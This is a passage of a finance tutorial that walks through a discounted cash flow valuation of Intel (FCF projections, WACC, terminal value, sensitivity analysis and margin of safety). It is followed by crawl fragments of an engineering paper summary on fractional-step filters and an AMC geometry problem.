period.\n\nUsing the table below, you may be able to use your company's competitive position and determine how many years to forecast FCF for your DCF valuation:\n\nAgain, this is a table you can refer to when deciding on the forecast growth period for your company's FCF. If you're unsure on how many years to forecast FCF, stick to 5 years. If you decide on projecting FCF 10 years (or even longer), just know that the further these numbers are projected out, the more these later periods are subject to estimation error. Moreover, these later FCF figures may be completely inaccurate, simply due to the uncertainty the future holds.\n\nNow, there are various ways to forecast growing FCF, but I will show a simple and effective method that works well. I will begin by finding how much FCF aligns with profitability by using the approach below:\n\nFCF rate = FCF / Net income\n\nThis will give us a percentage, and the closer this is to 100%, the more FCF aligns with profitability. This is also one of the four criteria for deciding on whether a DCF can be used for a company. I will then use the number I think best represents the company's FCF's, relative to net income over the past years, and estimate future cash flows afterwards.\n\nFor example, in the table below, we can see that the FCF rates for Intel in the past 5 years are, on average, close to 80%:\n\nINTC: FCF Rate\n\nThe percentage you choose to use here depends on your research of the company and how different you think FCF will be relative to net income over your forecast period. If you're uncertain on a company's future, you can use the smallest percentage (if it's not an outlier) to be conservative. If you decide to use a higher percentage, it would obviously make your estimates more aggressive.\n\nBased on my research and knowledge on Intel, and because I want to be conservative, I will choose to use 70% as the FCF rate.\n\nNow, to estimate future FCF, the method I will show you involves forecasting revenues, estimating net income, and then coming up with FCF afterwards. You could also just forecast net income and then derive FCF afterwards, but the method I'll demonstrate should give you an idea on how to accomplish both approaches.\n\n###### FCF: Revenue Method\n\nFor a large company like Intel, there will be many analysts covering the company and giving their estimates. One common way of finding revenue estimates is to use Yahoo Finance, search your company, and then go to the \"Analysis \" tab. From there, you can see what analysts estimate for revenue over the next few years, along with the number of analysts as well:\n\nIn the image above pulled from Yahoo Finance, we can see the revenue estimates for 2022 and 2023 are \\$76.12B and \\$77.86B respectively, both with a good analyst sample size. I will therefore use these numbers as Intel's revenue estimates for 2022 and 2023.\n\nIf you're valuing a company that does not have a revenue (or net income) estimate, or perhaps too few analysts for the estimate to be considered reliable, you can choose to identify a reasonable growth rate for the company instead. You must do this anyways to project a company's revenues at the end of your forecast growth period.\n\nOne method to determine this growth rate is to find the revenue growth rate between each year, which is just the percent difference between any two consecutive years:\n\nRevenue growth rate = (New year - Old year) / Old Year\n\nThen, you can simply average the forecast revenue growth rate (for 2022 and 2023 in our case), or use the average revenue growth rate for the past 5 years to come up with a reasonable revenue growth rate. Afterwards, you would apply this rate to the rest of your forecast growth period.\n\nIn Intel's case, this would be -0.69% if I were to average the next 2 years (2022 and 2023) or 1.97% if I were to use 5 years instead (including 2022 and 2023). The growth rate you select will be dependent on you and how you think the company will perform in the future. In my case, I will choose to use 1.97% as the revenue growth rate and apply this revenue growth to 2024, 2025, and 2026.\n\nThe revenue and revenue growth rates (actual (A) and projected (P)) for Intel are shown below:\n\nINTC: Revenue Growth Rate and Revenue Projections\n\nThe important thing here is that you use a revenue growth rate that makes sense, which is where your understanding of the business plays a large role. Clearly, a large and established company will likely have a smaller growth rate than an early-stage tech company with more growth potential.\n\nIt's also important to reiterate that the further you project a company's revenue growth, the more uncertain revenue will become, simply because the future is impossible to predict. Therefore, if you have a forecast growth period of 10 years instead of 5 years, using a more conservative revenue growth rate is recommended.\n\nNow that you have revenue projections, the next step would be to find net income. One method is to find \"net income (profit) margin\" (aka net margin), which determines the proportional profitability of a business, expressed as a percentage of revenues:\n\nNet income margin = Net income / Revenue\n\nNet income and revenue are found on the income statement. Finding net margin over the last 5 years for Intel gives me the following table:\n\nINTC: Net Income Margin\n\nTaking an average of these last 5 years will result in a net income/profit margin of 25.25% for Intel, which can then be used over the forecast growth period to come up with future net income (by multiplying it to the projected revenue numbers), as shown below (actual (A) and projected (P)):\n\nINTC: Projected Net Income\n\nAgain, you can also use a lower percentage net income margin (such as 20%) if you want to be more conservative. Regardless, this will get you the projected net income numbers, in this case for 2022-2026.\n\nNext, take your FCF rate found before (we chose 70%) and multiply this by net income to get projected/forecast FCF (over the next 5 years in our case):\n\nINTC: Completed FCF (2017-2026)\n\nAs discussed under step #6, these FCF numbers will be used in our DCF model to calculate the intrinsic value of Intel.\n\nNote that you can also calculate a number called \"owners earnings\" for the most recent year, favored by Warren Buffett, and grow this by an appropriate growth rate. Although this calculation is nearly the same as the simple FCF calculation, it can be an even more involved process. Regardless, finding owners earnings instead of FCF can provide you with a potentially more accurate valuation.\n\n## Step #2: Discount Rate\n\nThe next step is to calculate the discount rate (aka the required rate of return). The required rate of return is the minimum return an investor will accept for owning stock in a company, accounting for the risk of holding the stock. Because we're using FCF, our discount rate should be based on our individual perspectives as an investor.\n\nTherefore, the required rate of return I prefer using will (most likely) be different than yours, simply because the return I require on the companies I purchase may be higher or lower than yours. In other words, my required rate of return will differ from yours because of the differences in our risk tolerance, investment goals, time horizon, and available capital, among other things.\n\nIf you've completed an absolute valuation before and have a required rate of return that works for you, then use this. However, if you don't have a personal required rate of return, then we can go through a more involved process and come up with a discount rate using the \"weighted average cost of capital\" (WACC), which is essentially a default required rate of return.\n\nPersonally, I try to avoid using the WACC because it relies on an asset-pricing model called the \"capital asset pricing model\" (CAPM), which comes with a number of assumptions. The main issue with this model for valuation, is that it assumes investors act rationally on the latest available public data and that markets are efficient, which is obviously not true in the stock market. Therefore, to use the asset-pricing model in this regard may lead to misleading figures in your valuation.\n\nRegardless, the WACC is still the next-best alternative if you do not have a personal required rate of return. I will also use the WACC found below for Intel in this article because I cannot apply my required rate of return to every investor.\n\n### How to Calculate the Weighted Average Cost of Capital (WACC)\n\nThe formula below shows you how to calculate WACC for any company:\n\nWACC = wd * rd (1 - t) + we * re\n\nwhere:\n\n• w = weights\n• d = debt\n• e = equity\n• r = cost (aka required return)\n• t = tax rate\n\nNow, let's begin by finding the first part of the formula, the debt portion.\n\n#### Cost of Debt\n\nThe cost of debt (rd) is the market/actual interest rate the company is currently paying on its debt obligations. I will show you two methods of estimating the cost of debt, but the second method can only be used if your company did not issue a lot of debt (net borrowings) in its current year.\n\n###### Method #1: Debt Rating Approach\n\nThe method I prefer using is the debt rating approach, where you are simply adding the company's default spread (depending on its credit rating) to the current risk-free rate. Then, you'd multiply by one minus the effective tax rate, as shown in the formula below:\n\nrd = (rf + default spread) * (1 - t)\n\nwhere:\n\n• rd = cost of debt\n• rf = risk-free rate\n• t = tax rate\n\nThe risk-free rate is the 10-year treasury yield rate, and is the rate of return an investor would expect to receive from an absolutely risk-free investment. This rate changes daily, so use the most recent date from the USDT website.\n\nAs of writing (end of March 2022), the risk-free rate is 2.41%, so I will use this.\n\nThe default spread is the difference between the yields of two bonds with different credit ratings, and a bond's credit rating is just a letter-based credit score used to judge the quality and creditworthiness of a bond. So, an investment grade bond like \"AAA\" will have a lower default spread and will be considered safer than any bond rated lower, such as \"BBB.\"\n\nBefore you determine the default spread, you first have to find the company's credit rating through Moody's, Morningstar, or FitchRatings (among others), and determine what rating the company has.\n\n• See my dividend investing article to learn more about credit ratings, view a credit ratings table, and know how to find credit ratings.\n\nCurrently, according to S&P Global Ratings, Intel has a credit rating of A+ or A1, depending on the agency.\n\nThen, we can use a default spread table to determine the cost of debt, using a default spread table and the formula shown above. However, because it's difficult to find an up-to-date, free, and accurate default spread table, the next-best option is to estimate a synthetic rating instead.\n\nYou can use the table the below for high market cap firms, such as Intel. This table utilizes the interest coverage ratio to estimate the default spread. For reference, this formula is shown below:\n\nInterest coverage ratio (ICR) = EBIT / Interest expense\n\nAlthough you can reference this table, keep in mind that default spreads will fluctuate due to changes in the market (inflation, liquidity, demand, etc). Therefore, it's in good practice to use an updated table.\n\n• Table re-created from: Damodaran Online\n• Table only applies for high market cap firms\n\nIntel's interest coverage ratio is 32.6 (19,456 / 597), so according to this table it would be classified as a AAA bond with a default spread of 0.75%. However, we know the actual current rating is A1/A+, so we can go with the middle-ground and select 0.88% as the default spread.\n\nThen, if we add 0.88% to the risk-free rate of 2.41%, we will come up with Intel's before-tax cost of debt of 3.29%. However, in most countries, interest expense is a tax-deductible item, meaning companies will pay less in taxes due to these interest payments. Therefore, this 3.29% is not the true cost of debt, and we have to use the \"(1 - t)\" in the WACC formula to find the after-tax cost of debt.\n\nThe tax rate (t) can be found on the company's most recent 10-K annual report. It can alo be calculated using the tax rate formula below:\n\nTax rate = Income tax expense / Income before tax (EBT)\n\nDoing so for Intel will give us an effective tax rate of 8.46% (1,835 / 21,703). This can be compared to the tax rate on the company's 10-K annual report, which is usually found in the \"Notes to Financial Statements\" section:\n\nAs you can see, this effective tax rate is equal to 8.5%, which is the same as our calculation above. With this information, we can compute the after-tax cost of debt now:\n\nrd (debt rating approach) = (2.41% + 0.88%) * (1 - 8.46%) --> 3.01%\n\n###### Method #2: Interest Expense to Total Debt Approach\n\nOne quick method to find the company's cost of debt is to take the company's average annual interest expense and compare this to the company's total debt (short-term debt + long-term debt). Again, this method only works if the company did not issue a lot of debt (net borrowings) in its current year:\n\nrd = (Interest expense / Total debt) * (1 - t)\n\nwhere:\n\n• rd = cost of debt\n• t = tax rate\n\nFor Intel, it had \\$2,474 million in net borrowings (we found this earlier), so this method may be feasible. Just make sure to apply the effective tax rate of 8.46% we found before to compute the after-tax cost of debt:\n\nrd (interest expense to total debt approach) = (597 / (4,591 + 33,510)) * (1 - 8.46%) --> 1.43%\n\nBoth approaches resulted in roughly the same answer for Intel's cost of debt, although this obviously is not always the case. Moreover, because method 1 has more variability to it, and because Intel does not have a lot in net borrowings, I will choose to use the result from method 2 (1.43%) to compute the WACC later on.\n\n###### Cost of Equity (CAPM)\n\nThe next step is to calculate the cost of equity (re). To do this, use the capital asset pricing model (CAPM), which describes the relationship between systematic risk (β) and expected return (re) for stocks:\n\nre = rf + β*(rm - rf)\n\nwhere:\n\n• re = cost of equity\n• rf = risk-free rate\n• β = beta\n• rm = expected market return\n\nWe already found the risk-free rate (rf) before, using the USDT website. Again, this is the current 10-year U.S. treasury bond rate, which as of writing is 2.41%.\n\nNext, you should find the beta (β) of the stock, which is simply a measure of the volatility or systematic risk of the company when compared to the market as a whole. So, a higher beta number means higher risk and higher return potential.\n\nFor Intel, I found its beta by going back to Intel's Yahoo! Finance page, selecting the \"Statistics\" tab, and using the \"Beta (5Y Monthly)\" 0.55 number.\n\nNow, we need to find the expected return of the market (rm). One method is to find the average annual return going back 10, 15, 20, or more years using whatever financial data website you'd like. However, I like to use 10% as it's generally the average annual return of the S&P 500 Index since its inception in 1926. If you use this 10%, you may want to adjust this figure slightly (even if it's only by 0.5-1%) depending on the current market environment, or if you have good reason to believe this will be lower or higher in the near future.\n\nPlugging all of these variables in will get us the cost of equity for Intel below, which we can then use in our WACC equation:\n\nre (INTC) = 2.41% + 0.55*(10% - 2.41%) --> 6.58%\n\n###### Debt and Equity Weights\n\nThe final parts of the WACC formula is to find the weights of debt and equity.\n\nTo do this, take the total market cap of your company, which represents equity, and the total debt, and add them together. Then, determine how much of debt and equity consists of this total figure by simply dividing them as shown below for Intel:\n\nINTC: Debt and Equity Weights\n\nAs you can see, the we is 84.62% and the wd is 15.38%. Now, we can finally solve for Intel's WACC, which will then be used as our discount rate in our DCF valuation.\n\n###### Solving for Intel's WACC:\n\nWACC (INTC) = (15.38% * 1.43%) + (84.62% * 6.58%) --> 5.79%\n\nYou can then plug this 5.79% figure into your DCF model as the discount rate (required rate of return), and this completes step 2. For another example on how to calculate the WACC (with downloadable spreadsheets), see the link below:\n\n## Step #3: Perpetual Growth Rate\n\nThe perpetual, or constant growth rate, is the growth rate that free cash flow (FCF) is going to grow at into perpetuity (forever).\n\nPersonally, I use a perpetual growth rate between 0-2.5% depending on the company and the market. This conservative range is about in line with the expected growth of the U.S. economy, the inflation rate, or long-term GDP growth.\n\nThe important thing here is to not use a growth rate that is too high, like 5%. If the economy is growing at 3% and we use a 5% growth rate, we're essentially implying that one day, even if it never happens, the company will be larger than the entire economy, which is absurd. So, the growth rate that you're using to project into infinity forever (g) needs to be smaller than your discount rate (r), in our case 5.79%.\n\nFor Intel, I will be more on the aggressive side and go with use a perpetual growth rate of 2%. You will use this perpetual growth rate percentage in the next step when solving for terminal value.\n\n## Step #4: Terminal Value\n\nTerminal value (TV) is the value of a business beyond the forecast growth period for when future cash flows can be reasonably estimated, as you cannot estimate cash flows forever. By finding the terminal value, investors can estimate what the cash flows will be after the forecast growth period, which in our case is after 5 years.\n\nOne formula to calculate terminal value is shown below:\n\nTV= FCF * (1 + g) / (r - g)\n\nwhere:\n\n• TV = terminal value\n• FCF = free cash flow\n• r = discount rate (required rate of return)\n• g = perpetual growth rate\n\nSo, to find terminal value, you'd take the last forecast time period, in our case time period 5, and you'd grow this (FCF5) one year by your perpetual growth rate that you found earlier. This would give you the free cash flow for time period 6. Then, you would divide this figure by your required rate of return (or the WACC) minus the perpetual growth rate.\n\nThis entire calculation is shown below for Intel:\n\nTV= \\$14,591 * (1 + 2%) / (5.79% - 2%) --> \\$392,692\n\nSo, this \\$392,692 (rounded) is Intel's terminal value at the end of period 5, or the beginning of period 6.\n\n## Step #5: Shares Outstanding\n\nThe next step is to find the number of shares outstanding for the company, which is the amount of company stock held by all shareholders, including insiders and institutional investors.\n\nGoing back to Yahoo Finance, we can see that Intel has 4.07B currently in shares outstanding.\n\nTo find a more exact figure, you can look at the company's most recent 10-K annual report or 10-Q quarterly report to find the number of shares outstanding. This is typically found on the cover page as shown below for Intel's most recent 10-K:\n\nSo, Intel had 4.072B in shares outstanding. This will be used to calculate the per-share intrinsic value of the stock.\n\n## Step #6: Calculate Intrinsic Value\n\nNow, one of the most important steps in a DCF model is to account for the time value of money (TVM), which states that a dollar today is worth more than a dollar in the future due to its potential earning capacity. Therefore, you must discount any cash you forecast/project into the future to estimate the present value worth, which you can then use in a DCF calculation.\n\nThis would be done by using the approach below:\n\nPV of FCF = FCF / (1 + r)n\n\nwhere:\n\n• PV = present value\n• FCF = free cash flow (forecast only)\n• r = discount rate (required rate of return)\n• n = time period\n\nBegin by finding the discount factor (the denominator) for each period, including the terminal value figure we just calculated.\n\nFor example, for the forecast FCF3 (2024 in our case), you would do: (1 + 5.79%)3, which would give you the discount factor for 2024. Then, you'd take the forecast FCF3 you found in step 1, and divide by this discount factor to solve for the present value of the free cash flow figure (PV of FCF) for the forecast year of 2024.\n\nBecause we're using a 5-year forecast period for Intel, you'd do this six times, but the sixth time with terminal value you'd use the 5-year time period instead (n). After this is complete, you would sum up all of these PV of FCF figures to come up with today's current equity value.\n\nFinally, you would take today's equity value and divide it by the total shares outstanding (found in step 5) to get the intrinsic stock value of Intel today at \\$87.35.\n\nThis entire process for step 6 is shown below for Intel. I've also provided a downloadable Excel file with a basic DCF model you can use and/or reference (this does not include the WACC calculation):\n\nBased purely on this DCF and not factoring in a margin of safety or doing any sensitivity analysis (as later discussed), Intel's current stock price (around \\$52) is undervalued because it's less than our fair value of equity (intrinsic value) of \\$87.35. Therefore, ignoring everything else (the market, the company, news, etc.), you should purchase Intel stock.\n\n## Step #7: Scenario Analysis\n\nAs mentioned in the beginning of this article, there are holes in using a DCF valuation to find a company's intrinsic value. This is primarily due to the number of assumptions you have to make when coming up with a company's intrinsic value. But as you know, if we're conservative with our figures and estimates throughout the DCF process, and complete a DCF on the right company, we can generally come up with reasonable intrinsic value estimates.\n\nNow, the whole DCF calculation is very sensitive to the inputs that go into calculating intrinsic value. So, if I changed the perpetual growth rate or opted into using my personal required rate of return, this would change things significantly. This is why you should always do a sensitivity/scenario analysis after completing a DCF calculation.\n\nFor example, if I wanted to be even more conservative with our Intel DCF, I would use a lower perpetual growth rate. And, if I wanted to be more aggressive, I could keep the perpetual growth rate the same but change the computed WACC discount rate to my personal required rate of return (i.e., 10-15%), which would drop the intrinsic value price significantly.\n\nA basic sensitivity analysis for Intel is shown above, where I'm using discount rates from 6-15% to find the per-share intrinsic value price. I'm also using the perpetual growth rate of 2% we found before and comparing this to a more conservative 1% perpetual growth rate. This causes the intrinsic value price to fall and gives me an idea of the price I may be willing to pay for Intel if I expect slower perpetual cash flow growth.\n\nAs a final note, if you change assumptions incrementally, such as the discount rate or growth rates as I previously did, a healthy DCF model will reflect this through incremental changes to its intrinsic value. However, an incorrect DCF model will not reflect these incremental changes, and a 0.5-1% change to your discount rate, for example, may result in significant changes to your entire DCF model and buy-price. If this happens to you, you're depending way too much on your discount rate and therefore your model may be incorrect.\n\nSo, by completing a sensitivity/scenario analysis, you can also check to see whether incremental changes to assumptions in your DCF model are outputting reasonable incremental changes to your intrinsic value. If not, then revisit the previous steps and attempt to find why this is the case.\n\n## Step #8: Margin of Safety\n\nAfter you have an intrinsic value of the stock and have completed a sensitivity analysis, you should have a range of stock prices you'd be willing to purchase the company for. This would depend on your required rate of return and your understanding of the business.\n\nThe final step would therefore be to place our own personal margin of safety to these numbers, or in our case, just the intrinsic value figure we found before for Intel (\\$87.35) with the WACC of 5.79%.\n\nYou always want to apply a margin of safety because of the following two main reasons:\n\n1. You will always make assumptions and estimates in your DCF valuation. For instance, you may have over/under-estimated growth rates, come up with an incorrect WACC, or your FCF estimates may have been too low or high (among other things).\n2. Even if your valuation is accurate, the market may not adjust your company's stock price to the intrinsic value price in a very long time, or even in your lifetime.\n\nIn short, by applying a margin of safety, you will account for errors in your valuation and market uncertainties, which may also prevent you from purchasing companies that are actually overvalued. This will provide you with more confidence when the stock finally falls within your buy-price range, as you'll be purchasing it far below its intrinsic value price.\n\nNaturally, the more confident you are, the smaller the margin of safety will be. On the other hand, the less confident you are in your valuation, the larger the margin of safety. This goes hand-in-hand with risk, with riskier investments naturally having a larger margin of safety than safer investments.\n\nBelow is a margin of safety table you can refer to, based on the level of confidence you have with your DCF valuation:\n\nNote that these margin of safety rates differ between investors, and that for lower discount rates a higher margin of safety should apply. So, even if you have high confidence in your DCF valuation but are using a low discount rate (i.e., < 8%), it may be wise to apply a margin of safety of 20% or more. Moreover, for valuation beginners who may overestimate growth rates, I would recommend going with a larger margin of safety which would drive down your intrinsic value buy price(s).\n\nIn short, it's wise to have a flexible margin of safety measure that you can vary across different investments. Doing so, while considering your confidence level, the risk level of the security, and the model's discount rate will provide you with a reasonable margin of safety that you can then apply to your intrinsic value buy-price.\n\nBelow, you can see how the intrinsic value buy price range varies when we apply discount rates from 10-30% (intrinsic value per share of \\$87.35, perpetual growth rate of 2%, and WACC of 5.79%):\n\nIn our case, if I were fine with the low discount rate (required return) of 5.79%, and had medium confidence in our DCF valuation, I would be willing to purchase Intel at a 25% margin of safety for under ~\\$65. Currently, Intel's stock is hovering around \\$52 per share, so in this case it would still be a buy.\n\nThe most important thing here when applying a margin of safety is to avoid being too aggressive with your margin of safety, or else you will miss good buying opportunities. On the other hand, if your margin of safety is too small, you may end up purchasing an overpriced company. Ultimately, this is where your understanding of the business and your investment thesis plays a role, which should help you to come up with a fair margin of safety figure.\n\nNote that you can also apply this margin of safety to your personal required rate of return and ignore this step altogether. However, I would only recommend doing this if you're using a relatively high personal required rate of return, such as 20% or more, or are more experienced with valuation.\n\n## The Bottom Line\n\nCompleting a discounted cash flow (DCF) valuation model for a company will provide you with an estimate range of the company's intrinsic value. After this range is estimated, it all comes down to patience, and having the discipline to wait for the company's stock price to fall within your stock's buy-price range. When the company's stock price finally falls within your buy-price range, it can be classified as an \"undervalued\" stock worth buying, with the expectation that it will generate the return of your discount rate (aka required rate of return) on an annual basis.\n\nIf the stock price never falls within your buy-price range, it may be due to errors in your valuation or an aggressive margin of safety, but more often than not it's simply because the stock price is overvalued and not at an attractive price. Therefore, as a value investor, there's nothing wrong with completing a DCF valuation and waiting one or two years before finally being able to purchase the company at the right price.\n\nIt's also important to note that your conservative figures, sensitivity analysis, and margin of safety should protect you to an extent from errors in your valuation and the number of assumptions made in a DCF valuation. Therefore, even if you purchase a company at an undervalued price and the company's stock price continues to under-perform, you should already have a good understanding of the company which may reduce any emotional and/or irrational investment decisions.\n\nIn closing, if anything else, completing a DCF valuation will give you a flexible, market independent, cash-flow based, and self-sufficient approach to understanding a company and what it's worth, along with providing you with the confidence you may need as a long-term value investor. Ultimately, this may drive significant long-term investment growth and put you one step closer to achieving your financial goals.\n\nDisclaimer: No positions in Intel (NASDAQ: INTC). INTC is only used in this article as an example based on recently reviewed 10-K annual reports. This is not a complete analysis of INTC.\n\nDisclaimer: Because the information presented here is based on my own personal opinion, knowledge, and experience, it should not be considered professional finance, investment, or tax advice. The ideas and strategies that I provide should never be used without first assessing your own personal/financial situation, or without consulting a financial and/or tax professional."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9437761,"math_prob":0.9093475,"size":39868,"snap":"2022-40-2023-06","text_gpt3_token_len":8943,"char_repetition_ratio":0.14072847,"word_repetition_ratio":0.030828793,"special_character_ratio":0.22689876,"punctuation_ratio":0.10055434,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9590049,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-24T17:22:57Z\",\"WARC-Record-ID\":\"<urn:uuid:e73ee087-8ba3-45ef-96f0-976dbe55a2a8>\",\"Content-Length\":\"471080\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b562f1d8-dd5d-4b57-bdeb-881ad1a27776>\",\"WARC-Concurrent-To\":\"<urn:uuid:adb6eaca-3cc4-463d-b397-d7a113bffae2>\",\"WARC-IP-Address\":\"104.21.63.152\",\"WARC-Target-URI\":\"https://stablebread.com/how-to-value-a-company-using-the-discounted-cash-flow-model/\",\"WARC-Payload-Digest\":\"sha1:Z55QISUOEAZXABA7SBVWUIFLGCFQAT3K\",\"WARC-Block-Digest\":\"sha1:2H4T7E6EOBTWU6RKHYUJ3L5EDKVY6MNI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030331677.90_warc_CC-MAIN-20220924151538-20220924181538-00117.warc.gz\"}"} |
https://api.scholarcy.com/highlights?url=10.1007/978-3-642-36329-0_11&utm_source=citationsy | [
"## Fractional Step Analog Filter Design\n\nUsing the fractional Laplacian operator, sα, this chapter outlines the process to design, analyze, and implement continuous-time fractional-step lowpass, highpass, and bandpass filters of order, where is the fractional-step between the integer orders with value 0 < α < 1\n\nTodd Freeborn; Brent Maundy; Ahmed Elwakil\n\n2013\n\n#### Scholarcy highlights\n\n• Using the fractional Laplacian operator, sα, this chapter outlines the process to design, analyze, and implement continuous-time fractional-step lowpass, highpass, and bandpass filters of order, where is the fractional-step between the integer orders with value 0 < α < 1\n• The design process, stability analysis, PSPICE simulations, and physical realization of these filters are presented based on minimumphase error approximations of the operator sα\n• Four methods of implementation, using fractional capacitors in the Tow-Thomas biquad, Single Amplifier Biquads, Field Programmable Analog Array hardware and Frequency Dependent Negative Resistor topologies to realize decomposed transfer functions are demonstrated\n\nNeed more features? Save interactive summary cards to your Scholarcy Library."
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.85901153,"math_prob":0.7805179,"size":276,"snap":"2022-27-2022-33","text_gpt3_token_len":61,"char_repetition_ratio":0.14705883,"word_repetition_ratio":0.0,"special_character_ratio":0.21014492,"punctuation_ratio":0.14285715,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9543815,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-06T03:27:59Z\",\"WARC-Record-ID\":\"<urn:uuid:4f76e8c5-5d10-41cf-8648-f9e69040e8c6>\",\"Content-Length\":\"15607\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5dcfed2e-3bc5-411a-899f-f04e05f19835>\",\"WARC-Concurrent-To\":\"<urn:uuid:81251bbf-4871-42b6-987a-c97b909e3be1>\",\"WARC-IP-Address\":\"134.209.191.232\",\"WARC-Target-URI\":\"https://api.scholarcy.com/highlights?url=10.1007/978-3-642-36329-0_11&utm_source=citationsy\",\"WARC-Payload-Digest\":\"sha1:QFPQBPLJCN7QO3TBVLJSBCSKDA4W5H7I\",\"WARC-Block-Digest\":\"sha1:GOS4I7L5DUGYZ4DMDRR3JD6ERBNDXO3R\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104660626.98_warc_CC-MAIN-20220706030209-20220706060209-00199.warc.gz\"}"} |
https://artofproblemsolving.com/wiki/index.php?title=2006_AMC_12A_Problems/Problem_17&oldid=19059 | [
"# 2006 AMC 12A Problems/Problem 17\n\n## Problem\n\nAn image is supposed to go here. You can help us out by creating one and editing it in. Thanks.\n\nSquare",
null,
"$ABCD$ has side length",
null,
"$s$, a circle centered at",
null,
"$E$ has radius",
null,
"$r$, and",
null,
"$r$ and",
null,
"$s$ are both rational. The circle passes through",
null,
"$D$, and",
null,
"$D$ lies on",
null,
"$\\overline{BE}$. Point",
null,
"$F$ lies on the circle, on the same side of",
null,
"$\\overline{BE}$ as",
null,
"$A$. Segment",
null,
"$AF$ is tangent to the circle, and",
null,
"$AF=\\sqrt{9+5\\sqrt{2}}$. What is",
null,
"$r/s$?",
null,
"$\\mathrm{(A) \\ } \\frac{1}{2}\\qquad \\mathrm{(B) \\ } \\frac{5}{9}\\qquad \\mathrm{(C) \\ } \\frac{3}{5}\\qquad \\mathrm{(D) \\ } \\frac{5}{3}\\qquad \\mathrm{(E) \\ } \\frac{9}{5}$\n\n## Solution\n\nOne possibility is to use the coordinate plane, setting",
null,
"$B$ at the origin. Point",
null,
"$A$ will be",
null,
"$(s, 0)$ and",
null,
"$E$ will be",
null,
"$\\left(s + \\frac{r}{\\sqrt{2}},\\ s + \\frac{r}{\\sqrt{2}}\\right)$ since",
null,
"$B, D$, and",
null,
"$E$ are collinear and contain the diagonal of",
null,
"$ABCD$. The Pythagorean theorem results in",
null,
"$$AF^2 + EF^2 = AE^2$$",
null,
"$$r^2 + \\left(\\sqrt{9 + 5\\sqrt{2}}\\right)^2 = \\left(\\left(s + \\frac{r}{\\sqrt{2}}\\right) - 0\\right)^2 + \\left(\\left(s + \\frac{r}{\\sqrt{2}}\\right) - s\\right)^2$$",
null,
"$$r^2 + 9 + 5\\sqrt{2} = s^2 + rs\\sqrt{2} + \\frac{r^2}{2} + \\frac{r^2}{2}$$",
null,
"$$9 + 5\\sqrt{2} = s^2 + rs\\sqrt{2}$$\n\nThis implies that",
null,
"$rs = 5$ and",
null,
"$s^2 = 9$; dividing gives us",
null,
"$\\frac{r}{s} = \\frac{5}{9} \\Rightarrow B$."
]
| [
null,
"https://latex.artofproblemsolving.com/f/9/e/f9efaf9474c5658c4089523e2aff4e11488f8603.png ",
null,
"https://latex.artofproblemsolving.com/f/3/7/f37bba504894945c07a32f5496d74299a37aa51c.png ",
null,
"https://latex.artofproblemsolving.com/f/a/2/fa2fa899f0afb05d6837885523503a2d4df434f9.png ",
null,
"https://latex.artofproblemsolving.com/b/5/5/b55ca7a0aa88ab7d58f4fc035317fdac39b17861.png ",
null,
"https://latex.artofproblemsolving.com/b/5/5/b55ca7a0aa88ab7d58f4fc035317fdac39b17861.png ",
null,
"https://latex.artofproblemsolving.com/f/3/7/f37bba504894945c07a32f5496d74299a37aa51c.png ",
null,
"https://latex.artofproblemsolving.com/9/f/f/9ffb448918db29f2a72f8f87f421b3b3cad18f95.png ",
null,
"https://latex.artofproblemsolving.com/9/f/f/9ffb448918db29f2a72f8f87f421b3b3cad18f95.png ",
null,
"https://latex.artofproblemsolving.com/0/f/3/0f32db217d7630882c3441fa8821cd70a6958c3a.png ",
null,
"https://latex.artofproblemsolving.com/a/0/5/a055f405829e64a3b70253ab67cb45ed6ed5bb29.png ",
null,
"https://latex.artofproblemsolving.com/0/f/3/0f32db217d7630882c3441fa8821cd70a6958c3a.png ",
null,
"https://latex.artofproblemsolving.com/0/1/9/019e9892786e493964e145e7c5cf7b700314e53b.png ",
null,
"https://latex.artofproblemsolving.com/c/9/d/c9daba06f5ec9c5069f24bbeab9c7151ab4f68c2.png ",
null,
"https://latex.artofproblemsolving.com/6/8/e/68e23bf095d8384310969f25629c20cf1bd2cc34.png ",
null,
"https://latex.artofproblemsolving.com/0/a/0/0a0a9b50f5cff9336e7ae351829db68fa17a94df.png ",
null,
"https://latex.artofproblemsolving.com/3/0/a/30ae9cd35b77cb135caf238ebb1015275e549ea0.png ",
null,
"https://latex.artofproblemsolving.com/f/f/5/ff5fb3d775862e2123b007eb4373ff6cc1a34d4e.png ",
null,
"https://latex.artofproblemsolving.com/0/1/9/019e9892786e493964e145e7c5cf7b700314e53b.png ",
null,
"https://latex.artofproblemsolving.com/5/0/6/506e1d9eeac1b214951f81efdb1a3e783ba3b85e.png ",
null,
"https://latex.artofproblemsolving.com/f/a/2/fa2fa899f0afb05d6837885523503a2d4df434f9.png ",
null,
"https://latex.artofproblemsolving.com/e/5/9/e59fff9655c08dd200cfe8b8da28198b25941244.png ",
null,
"https://latex.artofproblemsolving.com/4/d/b/4dba3a2b89599010096ed143bca2d1b9f07b1f7b.png ",
null,
"https://latex.artofproblemsolving.com/f/a/2/fa2fa899f0afb05d6837885523503a2d4df434f9.png ",
null,
"https://latex.artofproblemsolving.com/f/9/e/f9efaf9474c5658c4089523e2aff4e11488f8603.png ",
null,
"https://latex.artofproblemsolving.com/d/7/1/d71803837ddd2739fca2601339696a8bda7a977c.png ",
null,
"https://latex.artofproblemsolving.com/5/f/d/5fdeb0d443078117c60e8fd7a8bc11fac819921d.png ",
null,
"https://latex.artofproblemsolving.com/5/0/3/5035fb6846965c9f72d4bab118a4348594b3539d.png ",
null,
